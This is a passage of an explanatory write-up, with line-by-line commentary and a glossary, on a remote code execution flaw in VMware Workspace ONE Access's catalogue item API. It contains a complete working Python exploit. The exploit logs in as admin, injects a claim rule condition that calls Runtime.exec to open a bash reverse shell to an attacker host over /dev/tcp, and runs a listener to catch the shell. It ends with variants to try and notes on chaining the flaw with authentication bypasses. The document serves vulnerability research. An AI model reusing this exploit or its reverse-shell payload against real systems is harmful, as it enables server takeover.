@XmlRootElementand@XmlTypeannotations describe how this class maps to XML, another data format used by some APIs. MEDIA_TYPE_NAMEis the content type string that identifies this kind of catalogue item in HTTP requests. A content type is a label on a request or response saying what format the body is in, like a label on a parcel saying "fragile" or "this side up".- At [10],
@JsonProperty("authInfo")says that when JSON arrives with a field namedauthInfo, its contents should be placed into thisSaml20AuthInfoobject. That is the direct link from an HTTP request body to the object that gets validated.
Exposure
com.vmware.horizon.catalog.rest.resource.CatalogItemsResource exposes the sink through several methods:
@Path("/catalogitems")
@Component
@Scope("prototype")
@RolesAllowed({ "admin" }) // 11
public class CatalogItemsResource extends AbstractCatalogResource
{
private static final boolean VALIDATE = true;
...
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@TypeHint(Saml11CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate);
}
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@TypeHint(Saml20CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate);
}
Line by line:
@Path("/catalogitems")says this class handles requests whose URL path ends in/catalogitems. An API endpoint is a specific URL that a program can send requests to, like a service window with a particular address.@RolesAllowed({ "admin" })at [11] is the access control: only a user with theadminrole may call these methods. A role is a label attached to a user account that grants permissions.@POSTmeans the method handles HTTP POST requests, the kind a browser sends when you submit a form.@Consumessays which content type the request body must have, and@Producessays what the response will contain.@TypeHint(Saml11CatalogItem.class)tells the framework which class to turn the request body into.createSaml11CatalogItemtakes the parsed catalogue item and an optionalvalidatequery parameter. A query parameter is the part of a URL after a question mark, such as?validate=true.@DefaultValue("true")means that if the caller does not supply it, validation runs.- The method passes the item and the content type to
createCatalogItem, which is where the validation and storage happen. - The SAML 2.0 method is the same shape for the SAML 2.0 content type.
At [11] the endpoint requires the admin role. The author notes that several authentication bypasses existed in this application in the past and can be chained with this vulnerability. Only two of the methods that reach the vulnerable code are shown, as proof of concept.
Exploitation
The PoC requires the target hostname and admin credentials. It logs in, starts a listener, and posts a SAML 1.1 catalogue item whose name ID claim transformation contains a rule condition that is evaluated by the JavaScript engine. A PoC (proof of concept) is a small program that demonstrates the flaw works, without doing anything beyond what is needed to prove it.
Step 1: log in and obtain a session
The login function fetches the login page, extracts the protected_state value, and posts credentials to the embedded auth broker callback:
def login(t, u , p):
r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
assert m, "(-) cannot find protected_state!"
s = requests.Session()
s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
"protected_state": m.group(1),
"username": u,
"password": p
}, verify=False)
return s
Line by line:
def login(t, u , p):defines a function that takes the target hostname, username and password.requests.get(...)fetches the login page over HTTPS.verify=Falseturns off certificate checking, which is common in test scripts against lab machines.allow_redirects=Falsestops the library from following a redirect automatically, so the script can read the page it actually got.re.search(...)looks in the page's HTML for a hidden form field namedprotected_stateand captures its value. A hidden form field is data a web page carries along with a form without showing it to the user; it is often used to keep track of a login attempt. Theassertstops the script if the field is not found.requests.Session()creates a session object. A session is a way for a browser or script to keep its identity across several requests, usually by storing a cookie, a small piece of data the server sets and the client sends back on every later request. Think of it as a wristband you get at an event: you show it once and then you are recognised at every door.s.post(...)sends the username, password and the capturedprotected_stateto the login callback URL. The server checks them and, if correct, sets the session cookie on the session object.return shands the logged-in session back to the caller, so later requests are made as the administrator.
Step 2: send the malicious catalogue item
The trigger_rce function builds the JSON body. The condition value is the payload that reaches scriptEngine.eval:
def trigger_rce(t, rhost, rport, s):
j = {
"catalogItemType":"Saml11",
"authInfo": {
"type":"Saml11",
"configureAs":"manual",
"nameIdClaimTransformation":{
"name":"",
"format":"",
"rules":[
{
"condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
"order":1337,
"action":{
"name":"prefix",
"args":[]
}
}
]
}
}
}
s.headers.update({
'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
})
r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})
s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
Line by line:
- The function takes the target, the attacker's host (
rhost), the attacker's port (rport) and the logged-in session. - The dictionary
jis the JSON body. It declares a catalogue item of typeSaml11, configured manually, with anameIdClaimTransformationcontaining one rule. - The rule's
conditionis a Java expression that callsRuntime.getRuntime().execwith a shell command.Runtime.getRuntime().execis Java's way of starting an external program. The command opens a reverse bash shell to the attacker's host and port. A reverse shell is a connection the victim server makes out to the attacker, giving the attacker a command prompt on the server. It goes "in reverse" because the victim connects out rather than the attacker connecting in, which often slips past firewalls. orderis 1337 and the action is aprefixwith no arguments; these are required fields of the rule structure.s.headers.update(...)sets the content type header so the server knows the body is a SAML 1.1 catalogue item. A header is extra information sent alongside a request, like the address and handling notes on an envelope.- The script checks the response headers for
X-XSRF-TOKEN. CSRF stands for cross-site request forgery, an attack where a malicious site tricks a logged-in user's browser into sending a request the user did not intend. To prevent it, the server issues a random token that the client must echo back on state-changing requests. The token is like a one-time stamp the server gives you and asks to see again before it accepts a change. assert "X-XSRF-TOKEN" in r.headersstops the script if the token is missing.s.headers.update({'X-XSRF-TOKEN': ...})stores the token on the session so it is sent with the next request.- The second
s.post(...)repeats the same request, now with the token attached.
Step 3: catch the shell
The handler function binds a TCP listener on the chosen port, accepts one connection and hands the socket to a Telnet object for interaction:
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("[redacted]", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
t.interact()
Line by line:
socket.socket(socket.AF_INET, socket.SOCK_STREAM)creates a network socket, the programming equivalent of a phone line.AF_INETmeans IPv4 addresses andSOCK_STREAMmeans a reliable stream connection (TCP).s.bind(("[redacted]", lp))claims the chosen port on all network interfaces of the attacker's machine.s.listen(1)starts waiting for incoming connections, with room for one.s.accept()blocks until the victim server connects, then returns the connection and the address it came from.t.sock = connattaches the connection to a Telnet object, andt.interact()gives the attacker an interactive prompt over it. Telnet here is just a convenient way to talk to a raw socket interactively.
Step 4: argument handling and orchestration
main parses the hostname, the connectback address (optionally with a port, defaulting to 1337) and credentials in user:pass form, logs in, starts the handler thread and calls trigger_rce:
def main():
global rhost, rport
if len(sys.argv) != 4:
print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0])
print("(+) eg: %s target.tld [redacted] admin:Admin22#" % sys.argv[0])
sys.exit(1)
assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1337
if ":" in sys.argv[2]:
rhost = sys.argv[2].split(":")[0]
assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
rport = int(sys.argv[2].split(":")[1])
usr = sys.argv[3].split(":")[0]
pwd = sys.argv[3].split(":")[1]
s = login(target, usr, pwd)
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
trigger_rce(target, rhost, rport, s)
if __name__ == "__main__":
main()
Line by line:
sys.argvis the list of command-line arguments. The script expects three: hostname, connectback address and credentials.- If the count is wrong, it prints usage and exits.
- It checks the credentials contain a colon, then splits them into username and password.
- The connectback address may include a port after a colon; if so, the script splits it and checks the port is numeric, defaulting to 1337 otherwise.
login(...)returns the authenticated session.Thread(target=handler, args=[rport])starts the listener in a background thread, so the script can send the exploit request while waiting for the connection. A thread is a way for one program to do two things at once.trigger_rce(...)sends the malicious catalogue item.
The automated run is shown here:

Manual exploitation
The same flow can be performed by hand. The manual steps are shown in the following screenshots:


Root cause
The chain is a classic bean validation injection. A user-supplied ClaimRule condition is passed to scriptEngine.eval in ClaimTransformationHelper.validateClaimRuleCondition. When evaluation throws, the helper records an error message, and TypeInfoValidator.validateClaimTransformations feeds that message into addErrorMessage. The stored message is later passed to buildConstraintViolationWithTemplate, which is the sink identified in the earlier bean validation research. The JavaScript engine is created with new ScriptEngineManager().getEngineByName("JavaScript"), and the condition string is passed to scriptEngine.eval; the PoC uses a Java expression such as java.lang.Runtime.getRuntime().exec(...).
The endpoint is guarded by the @RolesAllowed({ "admin" }) annotation on CatalogItemsResource, so an attacker who already holds admin rights, or who can obtain them through an authentication bypass, reaches the sink. The validate query parameter defaults to true.
The stack trace shows the path:
ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127
ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171
Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34
Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36
Saml20TypeInfoValidator.isValid(Object) line: 18
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75
ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88
MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73
ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617
ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582
ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528
ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496
ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411
ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757
ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420
ValidatorImpl.validate(T, Class<?>...) line: 208
HorizonValidator.validate(T, Class<?>...) line: 67
CatalogServiceImpl.putResource(int, Resource) line: 382
CatalogServiceImpl.createResource(int, Resource) line: 325
GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344
ReflectiveMethodInvocation.invokeJoinpoint() line: 198
ReflectiveMethodInvocation.proceed() line: 163
2024690047.proceedWithInvocation() line: not available [local variables unavailable]
TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367
TransactionInterceptor.invoke(MethodInvocation) line: 118
ReflectiveMethodInvocation.proceed() line: 186
ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95
ReflectiveMethodInvocation.proceed() line: 186
JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212
$Proxy1217.createResource(int, Resource) line: not available
CatalogItemsResource.createCatalogItem(int, Resource) line: 496
CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462
CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142
A stack trace is the list of function calls that led to a particular point, printed from the innermost call outwards. Read from the bottom up, it shows the request arriving at CatalogItemsResource.createSaml20CatalogItem, passing through the catalogue service, into the validator, and finally into ClaimTransformationHelper.validateClaimRuleCondition, which is where the condition was evaluated.
Impact
An authenticated administrator can execute arbitrary code on the Workspace ONE Access server. Because the endpoint is only protected by the admin role, the practical severity depends on how the attacker obtains that role: the author notes that published authentication bypasses, such as CVE-2022-22973, can be chained with this flaw to reach unauthenticated remote code execution. VMware's stated position is that it tries hard not to allow any post-authentication RCE, particularly because flaws of this class have been exploited in the wild.
Fix
The report does not describe the patch. The vendor advisory linked from the write-up is the place to check what was changed.
Variants to test
- Try the SAML 2.0 and WS-Fed 1.2 catalogue item endpoints with the same
nameIdClaimTransformationstructure. A positive result is a reverse shell or any observable command execution from theconditionvalue. - Try other
AuthInfotypes that carry claim transformations, such as the WS-Fed resource info, and check whether their validators reachvalidateClaimTransformationsin the same way. - Try setting the
validatequery parameter tofalseand then totrueon the same request, to see whether validation is skipped or deferred to a later code path. - Try other bean validation sinks in the same product that call
buildConstraintViolationWithTemplatewith a message derived from user input, and check whether the message can be made to contain an expression that the JavaScript engine evaluates. - Try the same rule condition with a harmless expression first, such as a string concatenation, to confirm evaluation happens before attempting command execution.
Glossary
- API: a defined set of URLs and data formats that programs use to talk to a service, like a service window with specific procedures.
- API endpoint: a specific URL that accepts requests for a particular operation.
- Annotation: a label attached to Java code that other code can read, used here to tell the framework which validator to run.
- Authentication bypass: a flaw that lets someone get past the login check without valid credentials.
- Bean validation: a Java standard for checking that incoming data is well formed, using small validator classes that produce error messages.
- Claim: a statement about a user, such as their name or group, exchanged between identity systems.
- Claim rule: a condition attached to a claim transformation that the product evaluates with a JavaScript engine.
- Claim transformation: a rule that rewrites or reshapes claims before they are passed on.
- Content type: a label on an HTTP request or response saying what format the body is in.
- Cookie: a small piece of data a server sets on a client, which the client sends back on later requests to be recognised.
- CSRF (cross-site request forgery): an attack that tricks a logged-in user's browser into sending a request the user did not intend; servers defend with a token the client must echo back.
- CSRF token: a random value issued by the server that must be included in state-changing requests.
- Header: extra information sent alongside an HTTP request or response.
- Hidden form field: data carried in a web form without being shown to the user.
- Identity and access management: the part of a company's systems that decides who a user is and what they may access.
- In the wild: used by real attackers against real victims, not only in a lab.
- JavaScript engine: software that reads and runs JavaScript code; Java programs can embed one to evaluate expressions.
- JSON: a text format for structured data, made of objects, arrays and values.
- PoC (proof of concept): a small program that demonstrates a vulnerability works.
- Query parameter: the part of a URL after a question mark that passes values to the server.
- RCE (remote code execution): a flaw that lets an attacker make a server run commands of their choosing.
- Reverse shell: a connection the victim server makes out to the attacker, giving the attacker a command prompt on the server.
- Role: a label on a user account that grants permissions, such as
admin. - SAML: a standard language for exchanging statements about a user between systems.
- Session: a way for a client to keep its identity across several requests, usually via a cookie.
- Sink: the place in code where data finally does something risky, such as being executed.
- Socket: a programming object representing a network connection, like a phone line.
- Stack trace: the list of function calls that led to a point in a program, printed from innermost outwards.
- Thread: a way for one program to do more than one thing at a time.
- Validator: a class that checks whether data meets a rule and produces an error message if not.
- WS-Fed: a standard language for exchanging statements about a user between systems, similar in purpose to SAML.
- 0-click exploit: an exploit that needs no interaction from the victim at all.